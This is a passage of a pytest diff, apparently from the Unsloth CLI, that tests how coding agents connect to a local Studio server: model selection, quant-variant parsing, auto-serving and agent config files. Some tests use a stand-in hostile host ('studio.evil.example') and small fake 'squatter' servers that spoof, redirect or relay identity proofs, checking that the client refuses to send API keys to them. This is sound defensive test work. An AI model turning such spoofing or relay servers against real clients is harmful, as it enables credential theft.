monkeypatch): + # Studio registers a loaded model under a canonical id (resolved identifier + # / casing) that can differ from the path we passed. The agent must connect + # to that model, not silently fall through to the first loaded one. + requested = "Unsloth/Qwen3.5-35B-A3B" + canonical = "unsloth/Qwen3.5-35B-A3B" + inner = start._http_json + + def http_json( + method, + url, + token, + payload = None, + timeout = 30, + error = None, + ): + if url.endswith("/api/inference/load"): + return {"model": canonical, "display_name": canonical} + if url.endswith("/v1/models"): + # Decoy sorts first, so models[0] is the wrong pick on the old code. + return {"object": "list", "data": [MODEL, {"id": canonical, "context_length": 4096}]} + return inner(method, url, token, payload, timeout, error) + + monkeypatch.setattr(start, "_http_json", http_json) + result = CliRunner().invoke(start.start_app, ["claude", "--no-launch", "--model", requested]) + assert result.exit_code == 0, result.output + _assert_env_set(result.output, "ANTHROPIC_MODEL", canonical) + + +@pytest.mark.parametrize( + "model, expected", + [ + ("unsloth/Qwen3-1.7B-GGUF:UD-Q4_K_XL", ("unsloth/Qwen3-1.7B-GGUF", "UD-Q4_K_XL")), + ("unsloth/gemma-4-E2B-it-GGUF:Q8_0", ("unsloth/gemma-4-E2B-it-GGUF", "Q8_0")), + ("unsloth/Qwen3-1.7B-GGUF", ("unsloth/Qwen3-1.7B-GGUF", None)), # no suffix + ("/models/local.gguf", ("/models/local.gguf", None)), # absolute path + ("./rel.gguf", ("./rel.gguf", None)), # relative path + ("C:\\models\\x.gguf", ("C:\\models\\x.gguf", None)), # Windows drive + ("repo:with/slash", ("repo:with/slash", None)), # slash in variant -> not a variant + ("", ("", None)), + ], +) +def test_split_repo_variant(model, expected): + assert start._split_repo_variant(model) == expected + + +def test_connect_model_bare_id_matches_loaded_without_reload(fake_studio): + # A bare `--model ` (no load knobs) attaches to the already-loaded model + # without touching /api/inference/load, so it can never evict another session. + result = CliRunner().invoke(start.start_app, ["claude", "--no-launch", "--model", MODEL["id"]]) + assert result.exit_code == 0, result.output + loads = [c for c in fake_studio if c[1].endswith("/api/inference/load")] + assert loads == [] + _assert_env_set(result.output, "ANTHROPIC_MODEL", MODEL["id"]) + + +def test_connect_model_variant_suffix_defers_to_server_dedup(fake_studio): + # `--model repo:QUANT` splits into a VALID load payload (bare repo + gguf_variant), + # never the `:`-suffixed repo id Studio rejects. The variant knob defers to + # /api/inference/load, whose already-loaded dedup answers without reloading when the + # active variant+settings match -- so a second session running the same command + # attaches without evicting the first, while a genuinely different quant reloads. + result = CliRunner().invoke( + start.start_app, ["claude", "--no-launch", "--model", MODEL["id"] + ":UD-Q4_K_XL"] + ) + assert result.exit_code == 0, result.output + loads = [c for c in fake_studio if c[1].endswith("/api/inference/load")] + assert loads == [ + ( + "POST", + f"{BASE}/api/inference/load", + {"model_path": MODEL["id"], "gguf_variant": "UD-Q4_K_XL"}, + ) + ] + _assert_env_set(result.output, "ANTHROPIC_MODEL", MODEL["id"]) + + +def test_connect_load_knobs_reach_server_even_when_id_loaded(fake_studio): + # /v1/models can't reveal the active quant, so an id match alone would silently keep + # the wrong variant loaded. Explicit knobs must always consult the load endpoint. + result = CliRunner().invoke( + start.start_app, + ["claude", "--no-launch", "--model", MODEL["id"], "--gguf-variant", "Q8_0"], + ) + assert result.exit_code == 0, result.output + loads = [c for c in fake_studio if c[1].endswith("/api/inference/load")] + assert loads == [ + ("POST", f"{BASE}/api/inference/load", {"model_path": MODEL["id"], "gguf_variant": "Q8_0"}) + ] + + +def test_connect_model_variant_suffix_loads_split_repo(fake_studio): + # When the model is not already loaded, the `:QUANT` suffix becomes the gguf_variant + # and the load uses the bare (valid) repo id, mirroring `unsloth run repo --gguf-variant`. + result = CliRunner().invoke( + start.start_app, + ["claude", "--no-launch", "--model", "unsloth/Qwen3-4B-GGUF:UD-Q4_K_XL"], + ) + assert result.exit_code == 0, result.output + loads = [c for c in fake_studio if c[1].endswith("/api/inference/load")] + assert loads == [ + ( + "POST", + f"{BASE}/api/inference/load", + {"model_path": "unsloth/Qwen3-4B-GGUF", "gguf_variant": "UD-Q4_K_XL"}, + ) + ] + + +def test_connect_explicit_gguf_variant_wins_over_suffix(fake_studio): + # An explicit --gguf-variant takes precedence; the suffix is still stripped so the + # repo id stays valid. + result = CliRunner().invoke( + start.start_app, + [ + "claude", + "--no-launch", + "--model", + "unsloth/Qwen3-4B-GGUF:Q8_0", + "--gguf-variant", + "UD-Q4_K_XL", + ], + ) + assert result.exit_code == 0, result.output + loads = [c for c in fake_studio if c[1].endswith("/api/inference/load")] + assert loads == [ + ( + "POST", + f"{BASE}/api/inference/load", + {"model_path": "unsloth/Qwen3-4B-GGUF", "gguf_variant": "UD-Q4_K_XL"}, + ) + ] + + +def test_connect_no_model_loaded_errors(fake_studio, monkeypatch): + monkeypatch.setattr( + start, + "_http_json", + lambda method, url, token, payload = None, timeout = 30, error = None: ( + {"key": "sk-unsloth-feedfacefeedface"} + if url.endswith("/api/auth/api-keys") + else {"object": "list", "data": []} + ), + ) + result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"]) + assert result.exit_code == 1 + assert "No model is loaded" in result.output + + +def test_connect_requested_model_not_loaded_fails(fake_studio, monkeypatch): + # Studio never surfaces the requested model; fail loudly rather than + # silently connecting to whatever else happens to be loaded. + inner = start._http_json + + def http_json( + method, + url, + token, + payload = None, + timeout = 30, + error = None, + ): + if url.endswith("/api/inference/load"): + return {} + if url.endswith("/v1/models"): + return {"object": "list", "data": [MODEL]} # decoy; request never appears + return inner(method, url, token, payload, timeout, error) + + monkeypatch.setattr(start, "_http_json", http_json) + result = CliRunner().invoke( + start.start_app, ["claude", "--no-launch", "--model", "unsloth/Missing-7B"] + ) + assert result.exit_code == 1 + assert "unsloth/Missing-7B" in result.output + + +def test_connect_codex_rejects_non_gguf_model(fake_studio, monkeypatch): + inner = start._http_json + + def http_json( + method, + url, + token, + payload = None, + timeout = 30, + error = None, + ): + if url.endswith("/api/inference/status"): + return {"is_gguf": False, "model_identifier": "unsloth/Qwen3-0.6B"} + return inner(method, url, token, payload, timeout, error) + + monkeypatch.setattr(start, "_http_json", http_json) + result = CliRunner().invoke(start.start_app, ["codex", "--no-launch"]) + assert result.exit_code == 1 + assert "GGUF" in result.output + result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"]) + assert result.exit_code == 0, result.output + + +def test_connect_nonloopback_keyless_refuses_to_send_credential(fake_studio, monkeypatch): + # A server known only by URL + health check is unverified: keyless connect + # must refuse and make no request at all. + monkeypatch.setattr(start, "find_studio_server", lambda: "http://studio.evil.example:8888") + result = CliRunner().invoke(start.start_app, ["opencode", "--no-launch"]) + assert result.exit_code == 1 + assert "Settings → API" in result.output + assert "--api-key" in result.output + assert fake_studio == [] # no HTTP request of any kind (no mint, no /v1/models) + + +def test_connect_nonloopback_explicit_key_is_allowed(fake_studio, monkeypatch): + # User named both server and key, so it's their choice; only auto-send is blocked. + monkeypatch.setattr(start, "find_studio_server", lambda: "http://studio.example:8888") + result = CliRunner().invoke( + start.start_app, + ["opencode", "--no-launch", "--api-key", "sk-unsloth-deadbeefdeadbeef"], + ) + assert result.exit_code == 0, result.output + + +def test_connect_nonloopback_replays_saved_key(fake_studio, tmp_path, monkeypatch): + # A key saved for a remote (non-loopback) Studio is replayed on keyless runs; + # auto-minting stays blocked for non-loopback. + remote = "http://studio.example:8888" + monkeypatch.setattr(start, "find_studio_server", lambda: remote) + (tmp_path / "agent_api_key.json").write_text( + json.dumps({"servers": {remote: {"saved": ["sk-unsloth-deadbeefdeadbeef"]}}}) + ) + result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"]) + assert result.exit_code == 0, result.output + _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef") + assert not any(c[1].endswith("/api/auth/api-keys") for c in fake_studio) # never minted + + +def test_connect_studio_server_errors_on_explicit_remote(monkeypatch): + # A user who pointed UNSLOTH_STUDIO_URL at a remote Studio should get an + # error, not a silent local model load (which they did not ask for). + import typer + + import unsloth_cli._inference as inference + + monkeypatch.setenv("UNSLOTH_STUDIO_URL", "http://studio.example:8888") + monkeypatch.setattr( + inference, "find_studio_server", lambda *a, **k: "http://studio.example:8888" + ) + with pytest.raises(typer.Exit): + inference.connect_studio_server("m", hf_token = None, max_seq_length = 4096, load_in_4bit = False) + + +def test_connect_studio_server_falls_back_locally_on_default_discovery(monkeypatch): + # Opportunistic local discovery (no UNSLOTH_STUDIO_URL): if the loopback + # server can't be verified, fall back to a local load rather than erroring. + import unsloth_cli._inference as inference + + monkeypatch.delenv("UNSLOTH_STUDIO_URL", raising = False) + monkeypatch.setattr(inference, "find_studio_server", lambda *a, **k: "http://127.0.0.1:8888") + monkeypatch.setattr(inference, "verify_studio_identity", lambda *a, **k: False) + assert ( + inference.connect_studio_server("m", hf_token = None, max_seq_length = 4096, load_in_4bit = False) + is None + ) + + +def test_connect_unverified_loopback_without_cached_key_refuses_to_mint( + fake_studio, tmp_path, monkeypatch +): + # With no saved key, the next step would auto-mint; an unverified loopback + # server (port squatter) must be refused, with nothing sent. + monkeypatch.setattr(start, "verify_studio_identity", lambda base: False) + result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"]) + assert result.exit_code == 1 + assert "--api-key" in result.output + assert not any(c[1].endswith("/api/auth/api-keys") for c in fake_studio) # never minted + + +def test_connect_replays_saved_key_without_identity_check(fake_studio, tmp_path, monkeypatch): + # A "saved" key (e.g. for an SSH-tunnelled Studio the handshake can't match) + # replays on keyless runs without the handshake, scoped to its own base. + cache = tmp_path / "agent_api_key.json" + cache.write_text(json.dumps({"servers": {BASE: {"saved": ["sk-unsloth-deadbeefdeadbeef"]}}})) + monkeypatch.setattr(start, "verify_studio_identity", lambda base: False) + result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"]) + assert result.exit_code == 0, result.output + _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef") + assert not any(c[1].endswith("/api/auth/api-keys") for c in fake_studio) # reused, not minted + + +def test_connect_minted_cache_requires_identity_check(fake_studio, tmp_path, monkeypatch): + # A "minted" key is NOT replayed to an unverified loopback server: minting and + # minted-key replay both sit behind the handshake, so a squatter can't grab it. + cache = tmp_path / "agent_api_key.json" + cache.write_text(json.dumps({"servers": {BASE: {"minted": ["sk-unsloth-feedfacefeedface"]}}})) + monkeypatch.setattr(start, "verify_studio_identity", lambda base: False) + result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"]) + assert result.exit_code == 1 + assert "--api-key" in result.output + assert not any(c[1].endswith("/v1/models") for c in fake_studio) # minted key never sent + + +def test_connect_explicit_key_skips_identity_check(fake_studio, monkeypatch): + # An explicit key is the user's deliberate choice, so it does not require + # the automatic identity handshake. + monkeypatch.setattr(start, "verify_studio_identity", lambda base: False) + result = CliRunner().invoke( + start.start_app, + ["claude", "--no-launch", "--api-key", "sk-unsloth-deadbeefdeadbeef"], + ) + assert result.exit_code == 0, result.output + _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef") + + +def _serve_identity(proof_for): + """Start a localhost HTTP server answering /api/auth/identity with + proof_for(nonce_bytes). Returns (base_url, shutdown).""" + import base64 + import threading + from http.server import BaseHTTPRequestHandler, HTTPServer + from urllib.parse import parse_qs, urlparse + + class Handler(BaseHTTPRequestHandler): + def do_GET(self): + parsed = urlparse(self.path) + if parsed.path != "/api/auth/identity": + self.send_response(404) + self.end_headers() + return + nonce = base64.urlsafe_b64decode(parse_qs(parsed.query)["nonce"][0]) + host, port = self.server.server_address[0], self.server.server_address[1] + body = json.dumps({"proof": proof_for(nonce, host, port)}).encode() + self.send_response(200) + self.send_header("Content-Type", "application/json") + self.end_headers() + self.wfile.write(body) + + def log_message(self, *a): + pass + + server = HTTPServer(("127.0.0.1", 0), Handler) + threading.Thread(target = server.serve_forever, daemon = True).start() + base = f"http://127.0.0.1:{server.server_address[1]}" + return base, server.shutdown + + +def test_verify_studio_identity_end_to_end(tmp_path, monkeypatch): + # Real crypto end to end: verify_studio_identity reads the install secret from + # an isolated DB; a "good" server proves the same secret, a spoofing one can't. + import unsloth_cli._inference as inference + + inference.ensure_studio_backend_path() + try: + from studio.backend.auth import storage + except Exception as exc: # backend not importable here (e.g. missing deps) + pytest.skip(f"studio backend not importable: {exc}") + + monkeypatch.setattr(storage, "DB_PATH", tmp_path / "auth.db") + monkeypatch.setattr(storage, "_identity_secret_cache", None) + + good = lambda nonce, host, port: storage.compute_identity_proof( + nonce, host, port + ) # real secret + bad = lambda nonce, host, port: "00" * 32 # spoofer without the secret + base_ok, stop_ok = _serve_identity(good) + base_bad, stop_bad = _serve_identity(bad) + try: + assert inference.verify_studio_identity(base_ok) is True + assert inference.verify_studio_identity(base_bad) is False + finally: + stop_ok() + stop_bad() + + +def _serve_redirect(target): + """Start a localhost server that 302-redirects every GET to target+path.""" + import threading + from http.server import BaseHTTPRequestHandler, HTTPServer + + class Handler(BaseHTTPRequestHandler): + def do_GET(self): + self.send_response(302) + self.send_header("Location", target + self.path) + self.end_headers() + + def log_message(self, *a): + pass + + server = HTTPServer(("127.0.0.1", 0), Handler) + threading.Thread(target = server.serve_forever, daemon = True).start() + base = f"http://127.0.0.1:{server.server_address[1]}" + return base, server.shutdown + + +def test_verify_studio_identity_rejects_redirect(tmp_path, monkeypatch): + # A squatter could 302 /api/auth/identity to the real Studio and relay its + # proof; redirects must be refused so the squatter's base isn't accepted. + import unsloth_cli._inference as inference + + inference.ensure_studio_backend_path() + try: + from studio.backend.auth import storage + except Exception as exc: + pytest.skip(f"studio backend not importable: {exc}") + + monkeypatch.setattr(storage, "DB_PATH", tmp_path / "auth.db") + monkeypatch.setattr(storage, "_identity_secret_cache", None) + + real_base, stop_real = _serve_identity( + lambda nonce, host, port: storage.compute_identity_proof(nonce, host, port) + ) + squatter_base, stop_squatter = _serve_redirect(real_base) + try: + assert inference.verify_studio_identity(real_base) is True # direct: ok + assert inference.verify_studio_identity(squatter_base) is False # relayed: refused + finally: + stop_real() + stop_squatter() + + +def test_verify_studio_identity_rejects_relayed_proof(tmp_path, monkeypatch): + # A squatter that proxies the nonce to the real Studio on another port gets a + # proof bound to *that* port; the client expects one bound to the port it + # connected to, so the relayed proof is rejected. + import unsloth_cli._inference as inference + + inference.ensure_studio_backend_path() + try: + from studio.backend.auth import storage + except Exception as exc: + pytest.skip(f"studio backend not importable: {exc}") + + monkeypatch.setattr(storage, "DB_PATH", tmp_path / "auth.db") + monkeypatch.setattr(storage, "_identity_secret_cache", None) + + real_base, stop_real = _serve_identity( + lambda nonce, host, port: storage.compute_identity_proof(nonce, host, port) + ) + real_port = int(real_base.rsplit(":", 1)[1]) + # The squatter answers on its own port but returns the proof for the real port. + squatter_base, stop_squatter = _serve_identity( + lambda nonce, host, port: storage.compute_identity_proof(nonce, host, real_port) + ) + try: + assert inference.verify_studio_identity(real_base) is True + assert inference.verify_studio_identity(squatter_base) is False + finally: + stop_real() + stop_squatter() + + +@pytest.mark.parametrize( + "url, loopback", + [ + ("http://127.0.0.1:8888", True), + ("http://localhost:8888", True), + ("http://[::1]:8888", True), + ("http://127.0.0.5:9001", True), # SSH tunnels can land anywhere in 127/8 + ("http://0.0.0.0:8888", False), + ("http://10.0.0.5:8888", False), + ("http://studio.evil.example:8888", False), + ("https://studio.example.com", False), + ], +) +def test_is_loopback_url(url, loopback): + assert start.is_loopback_url(url) is loopback + + +def test_connect_no_studio_errors(fake_studio, monkeypatch): + monkeypatch.setattr(start, "find_studio_server", lambda: None) + result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"]) + assert result.exit_code == 1 + assert "No running Studio server" in result.output + + +@pytest.fixture(autouse = True) +def _reset_auto_served(): + # Never let a test leave a fake server in the module slot (an atexit backstop would + # otherwise try to signal it at interpreter shutdown). + yield + start._auto_served_server = None + + +def test_start_studio_server_builds_command_and_waits(monkeypatch): + captured = {} + + class FakePopen: + def __init__(self, command, **kwargs): + captured["command"] = command + captured["kwargs"] = kwargs + self.pid = 4321 + + def poll(self): + return None + + monkeypatch.setattr(start.subprocess, "Popen", FakePopen) + monkeypatch.setattr(start, "_studio_healthy", lambda base, timeout = 3.0: True) + monkeypatch.setattr(start, "_log_tail", lambda path, lines = 20: "API Key: sk-unsloth-abc123") + monkeypatch.setattr(start.time, "sleep", lambda _s: None) + + server = start._start_studio_server( + "http://127.0.0.1:8888", + "unsloth/Qwen3-1.7B-GGUF:UD-Q4_K_XL", + start.LoadOptions( + gguf_variant = "UD-Q4_K_XL", max_seq_length = 8192, load_in_4bit = True, tensor_parallel = True + ), + ) + cmd = captured["command"] + assert cmd[1] == "run" + assert "--disable-tools" in cmd and "--no-cloudflare" in cmd + assert cmd[cmd.index("--model") + 1] == "unsloth/Qwen3-1.7B-GGUF:UD-Q4_K_XL" + assert cmd[cmd.index("--gguf-variant") + 1] == "UD-Q4_K_XL" + assert cmd[cmd.index("--context-length") + 1] == "8192" + assert "--tensor-parallel" in cmd + assert cmd[cmd.index("-p") + 1] == "8888" + assert start.LoadOptions().load_in_4bit is True and "--no-load-in-4bit" not in cmd + assert captured["kwargs"].get("start_new_session") is True # own process group + assert server.pid == 4321 + + +def test_auto_serves_when_no_server_then_tears_down(fake_studio, monkeypatch): + monkeypatch.setattr(start, "find_studio_server", lambda: None) + started = {} + fake = SimpleNamespace(pid = 999, poll = lambda: None) + + def fake_start(base, model, load): + started.update(base = base, model = model, load = load) + start._auto_served_server = fake + return fake + + monkeypatch.setattr(start, "_start_studio_server", fake_start) + monkeypatch.setattr( + start, "_shutdown_server", lambda server: started.__setitem__("down", server) + ) + monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/claude") + monkeypatch.setattr(start.subprocess, "run", lambda command, env: SimpleNamespace(returncode = 0)) + + result = CliRunner().invoke( + start.start_app, ["claude", "--model", "unsloth/Qwen3-1.7B-GGUF:UD-Q4_K_XL"] + ) + assert result.exit_code == 0, result.output + # The `:QUANT` suffix is split off into the gguf_variant so `unsloth run` gets a valid + # repo id plus `--gguf-variant`, mirroring how `unsloth run` accepts either form. + assert started["model"] == "unsloth/Qwen3-1.7B-GGUF" + assert started["load"].gguf_variant == "UD-Q4_K_XL" + assert started["base"] == BASE + # Torn down after the agent session ended. + assert started.get("down") is fake + + +def test_codex_preflight_failure_tears_down_auto_served(fake_studio, monkeypatch): + # The Codex GGUF preflight runs after _connect may have auto-started a server but + # before _run's teardown finally, so a preflight rejection must not leave the server + # holding the port/GPU (waiting on the atexit backstop). + monkeypatch.setattr(start, "find_studio_server", lambda: None) + started = {} + fake = SimpleNamespace(pid = 999, poll = lambda: None) + + def fake_start(base, model, load): + started.update(base = base, model = model) + start._auto_served_server = fake + return fake + + monkeypatch.setattr(start, "_start_studio_server", fake_start) + monkeypatch.setattr( + start, "_shutdown_server", lambda server: started.__setitem__("down", server) + ) + inner = start._http_json + + def http_json( + method, + url, + token, + payload = None, + timeout = 30, + error = None, + ): + if url.endswith("/api/inference/status"): + return {"is_gguf": False, "model_identifier": "transformers-model"} + return inner(method, url, token, payload, timeout, error) + + monkeypatch.setattr(start, "_http_json", http_json) + result = CliRunner().invoke( + start.start_app, ["codex", "--model", "unsloth/Qwen3-1.7B", "--launch"] + ) + assert result.exit_code != 0, result.output + assert "GGUF" in result.output + # Torn down at the point the preflight rejected the model, not only via atexit. + assert started.get("down") is fake + + +def test_no_serve_preserves_error(fake_studio, monkeypatch): + monkeypatch.setattr(start, "find_studio_server", lambda: None) + started = {"called": False} + monkeypatch.setattr( + start, "_start_studio_server", lambda *a, **k: started.__setitem__("called", True) + ) + result = CliRunner().invoke( + start.start_app, ["claude", "--model", "unsloth/Qwen3-1.7B-GGUF", "--no-serve"] + ) + assert result.exit_code == 1 + assert "No running Studio server" in result.output + assert started["called"] is False + + +def test_no_launch_never_serves(fake_studio, monkeypatch): + monkeypatch.setattr(start, "find_studio_server", lambda: None) + started = {"called": False} + monkeypatch.setattr( + start, "_start_studio_server", lambda *a, **k: started.__setitem__("called", True) + ) + result = CliRunner().invoke( + start.start_app, ["claude", "--model", "unsloth/Qwen3-1.7B-GGUF", "--no-launch"] + ) + assert result.exit_code == 1 + assert "No running Studio server" in result.output + assert started["called"] is False + + +def test_no_server_no_model_hints_model_flag(fake_studio, monkeypatch): + monkeypatch.setattr(start, "find_studio_server", lambda: None) + result = CliRunner().invoke(start.start_app, ["claude"]) + assert result.exit_code == 1 + assert "--model" in result.output + + +@pytest.mark.parametrize( + "base, expected", + [ + ("http://127.0.0.1", "http://127.0.0.1:8888"), # portless -> unsloth run's :8888 + ("http://127.0.0.1:8888", "http://127.0.0.1:8888"), # explicit port kept + ("http://127.0.0.1:9000", "http://127.0.0.1:9000"), + ("http://localhost", "http://localhost:8888"), + ("http://[::1]", "http://[::1]:8888"), # IPv6 literal stays bracketed + ("http://[::1]:8888", "http://[::1]:8888"), + # Paths are stripped: unsloth run serves at the root, so /studio would make the + # health poll hit /studio/api/health (404) until the startup timeout. + ("http://127.0.0.1:8888/studio", "http://127.0.0.1:8888"), + ("http://127.0.0.1/studio", "http://127.0.0.1:8888"), + ], +) +def test_effective_base(base, expected): + assert start._effective_base(base) == expected + + +def test_auto_serve_normalizes_portless_url(fake_studio, monkeypatch): + # A portless UNSLOTH_STUDIO_URL must launch AND poll :8888 (what unsloth run binds), + # not port 80, or readiness never matches and we hit the startup timeout. + monkeypatch.setenv("UNSLOTH_STUDIO_URL", "http://127.0.0.1") + monkeypatch.setattr(start, "find_studio_server", lambda: None) + started = {} + fake = SimpleNamespace(pid = 999, poll = lambda: None) + + def fake_start(base, model, load): + started["base"] = base + start._auto_served_server = fake + return fake + + monkeypatch.setattr(start, "_start_studio_server", fake_start) + monkeypatch.setattr(start, "_shutdown_server", lambda server: None) + monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/claude") + monkeypatch.setattr(start.subprocess, "run", lambda command, env: SimpleNamespace(returncode = 0)) + + result = CliRunner().invoke(start.start_app, ["claude", "--model", "unsloth/Qwen3-1.7B-GGUF"]) + assert result.exit_code == 0, result.output + assert started["base"] == "http://127.0.0.1:8888" + + +def test_connect_explicit_api_key_skips_mint(fake_studio): + result = CliRunner().invoke( + start.start_app, + ["claude", "--no-launch", "--api-key", "sk-unsloth-deadbeefdeadbeef"], + ) + assert result.exit_code == 0, result.output + _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef") + assert not any(c[1].endswith("/api/auth/api-keys") for c in fake_studio) + + +# ── OpenClaw (Anthropic /v1/messages) ──────────────────────────────── + + +def test_write_openclaw_config_fresh(tmp_path): + path = tmp_path / "openclaw.json" + start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path) + config = json.loads(path.read_text()) + provider = config["models"]["providers"]["unsloth"] + assert provider["baseUrl"] == f"{BASE}/v1" + assert provider["apiKey"] == "sk-unsloth-abc" + assert provider["api"] == "openai-completions" + assert provider["models"] == [ + {"id": MODEL["id"], "name": MODEL["id"], "contextWindow": MODEL["context_length"]} + ] + # The default model must be pinned or OpenClaw has nothing active. + assert config["agents"]["defaults"]["model"]["primary"] == f"unsloth/{MODEL['id']}" + assert config["gateway"]["mode"] == "local" + assert config["gateway"]["auth"]["mode"] == "none" # unauth loopback gateway + if os.name != "nt": # the file holds an API key + assert path.stat().st_mode & 0o777 == 0o600 + + +def test_write_openclaw_config_preserves_and_idempotent(tmp_path): + path = tmp_path / "openclaw.json" + path.write_text( + json.dumps( + { + "theme": "dark", + "agents": {"defaults": {"temperature": 0.5}}, + "models": {"mode": "replace", "providers": {"openrouter": {"baseUrl": "x"}}}, + } + ) + ) + start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path) + config = json.loads(path.read_text()) + assert config["theme"] == "dark" + assert config["agents"]["defaults"]["temperature"] == 0.5 # other agent defaults kept + assert config["agents"]["defaults"]["model"]["primary"] == f"unsloth/{MODEL['id']}" + assert config["models"]["mode"] == "replace" # user's mode is left as-is + assert config["models"]["providers"]["openrouter"]["baseUrl"] == "x" + assert config["models"]["providers"]["unsloth"]["baseUrl"] == f"{BASE}/v1" + before = path.read_text() + start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path) + assert path.read_text() == before + + +def test_write_openclaw_config_corrupt_left_alone(tmp_path, capsys): + path = tmp_path / "openclaw.json" + path.write_text("{not json") + start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path) + assert path.read_text() == "{not json" + assert "couldn't parse" in capsys.readouterr().err + + +def test_connect_openclaw_no_launch(fake_studio, tmp_path): + result = CliRunner().invoke(start.start_app, ["openclaw", "--no-launch"]) + assert result.exit_code == 0, result.output + assert "openclaw" in result.output + config_path = tmp_path / "agents" / "openclaw" / "openclaw.json" + # Config + state are scoped to the session dir, not the user's ~/.openclaw. + _assert_env_set(result.output, "OPENCLAW_CONFIG_PATH", str(config_path)) + _assert_env_set(result.output, "OPENCLAW_STATE_DIR", str(tmp_path / "agents" / "openclaw")) + config = json.loads(config_path.read_text()) + assert config["models"]["providers"]["unsloth"]["apiKey"] == "sk-unsloth-feedfacefeedface" + assert config["agents"]["defaults"]["model"]["primary"] == f"unsloth/{MODEL['id']}" + # OpenAI /v1/chat/completions works on either backend — no GGUF gate. + assert not any(c[1].endswith("/api/inference/status") for c in fake_studio) + + +# ── OpenCode (OpenAI /v1/chat/completions) ─────────────────────────── + + +def test_write_opencode_config_fresh(tmp_path): + path = tmp_path / "opencode.json" + start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path) + config = json.loads(path.read_text()) + provider = config["provider"]["unsloth"] + assert provider["npm"] == "@ai-sdk/openai-compatible" + assert provider["options"] == {"baseURL": f"{BASE}/v1", "apiKey": "sk-unsloth-abc"} + # Context limit must be declared, or OpenCode treats it as 0 and disables compaction. + assert provider["models"] == { + MODEL["id"]: {"name": MODEL["id"], "limit": {"context": 131072, "output": 8192}} + } + assert config["model"] == f"unsloth/{MODEL['id']}" + # Compaction buffer scaled to ~10% of the window (compact near 90%). + assert config["compaction"] == {"auto": True, "reserved": 131072 // 10} + + +def test_write_opencode_config_preserves_and_idempotent(tmp_path): + path = tmp_path / "opencode.json" + path.write_text( + json.dumps({"theme": "tokyonight", "provider": {"anthropic": {"name": "Anthropic"}}}) + ) + start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path) + config = json.loads(path.read_text()) + assert config["theme"] == "tokyonight" + assert config["provider"]["anthropic"]["name"] == "Anthropic" + assert config["provider"]["unsloth"]["options"]["baseURL"] == f"{BASE}/v1" + before = path.read_text() + start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path) + assert path.read_text() == before + + +def test_connect_opencode_no_launch(fake_studio, tmp_path): + result = CliRunner().invoke(start.start_app, ["opencode", "--no-launch"]) + assert result.exit_code == 0, result.output + assert "opencode" in result.output + config_path = tmp_path / "agents" / "opencode" / "opencode.json" + # OPENCODE_CONFIG overlay points at the session file, not the user's global config. + _assert_env_set(result.output, "OPENCODE_CONFIG", str(config_path)) + config = json.loads(config_path.read_text()) + assert config["provider"]["unsloth"]["options"]["apiKey"] == "sk-unsloth-feedfacefeedface" + assert config["model"] == f"unsloth/{MODEL['id']}" + assert not any(c[1].endswith("/api/inference/status") for c in fake_studio) + + +# ── Hermes (OpenAI /v1/chat/completions, key via env) ──────────────── + + +@pytest.fixture() +def hermes_config(tmp_path): + return tmp_path / "config.yaml" + + +def test_write_hermes_config_fresh(hermes_config): + yaml = pytest.importorskip("yaml") + start.write_hermes_config(BASE, MODEL, hermes_config) + config = yaml.safe_load(hermes_config.read_text()) + # Hermes only honors the key for a *named* custom provider, so the endpoint + # is registered under providers.* and model.provider points at it. + assert config["model"]["provider"] == "custom:unsloth" + assert config["model"]["default"] == MODEL["id"] + assert config["model"]["api_mode"] == "openai" + # Pin the real context window (top-level override) and compact at 90% of it. + assert config["model"]["context_length"] == MODEL["context_length"] + assert config["compression"] == {"enabled": True, "threshold": 0.9} + # Windows at or above Hermes' floor need no auxiliary compression override. + assert "auxiliary" not in config + provider = config["providers"]["unsloth"] + assert provider["base_url"] == f"{BASE}/v1" + assert provider["api_mode"] == "openai" + assert provider["key_env"] == "UNSLOTH_API_KEY" + # The key is resolved from the launch env, never written to disk. + assert "sk-unsloth" not in hermes_config.read_text() + + +def test_write_hermes_config_small_window_claims_floor(hermes_config): + yaml = pytest.importorskip("yaml") + small = {"id": "unsloth/Qwen3-1.7B-GGUF", "context_length": 40960} + start.write_hermes_config(BASE, small, hermes_config) + config = yaml.safe_load(hermes_config.read_text()) + # Hermes refuses to initialize below its 64,000-token floor, so the recipe + # claims the floor and scales the compaction threshold so it still fires at + # 90% of the REAL window: 0.9 * 40960 / 65536. + assert config["model"]["context_length"] == 65536 + assert config["compression"] == {"enabled": True, "threshold": 0.5625} + # The same floor check runs against the compression model mid-session. + assert config["auxiliary"]["compression"]["context_length"] == 65536 + + +def test_write_hermes_config_preserves_and_idempotent(hermes_config): + yaml = pytest.importorskip("yaml") + hermes_config.write_text( + yaml.safe_dump( + { + "terminal": {"backend": "local"}, + "model": {"temperature": 0.7}, + "providers": {"openrouter": {"base_url": "https://openrouter.ai/api/v1"}}, + } + ) + ) + start.write_hermes_config(BASE, MODEL, hermes_config) + config = yaml.safe_load(hermes_config.read_text()) + assert config["terminal"] == {"backend": "local"} # unrelated sections kept + assert config["model"]["temperature"] == 0.7 # unrelated model keys kept + assert config["model"]["provider"] == "custom:unsloth" + assert config["providers"]["openrouter"]["base_url"] == "https://openrouter.ai/api/v1" + assert config["providers"]["unsloth"]["base_url"] == f"{BASE}/v1" + before = hermes_config.read_text() + start.write_hermes_config(BASE, MODEL, hermes_config) + assert hermes_config.read_text() == before + + +def 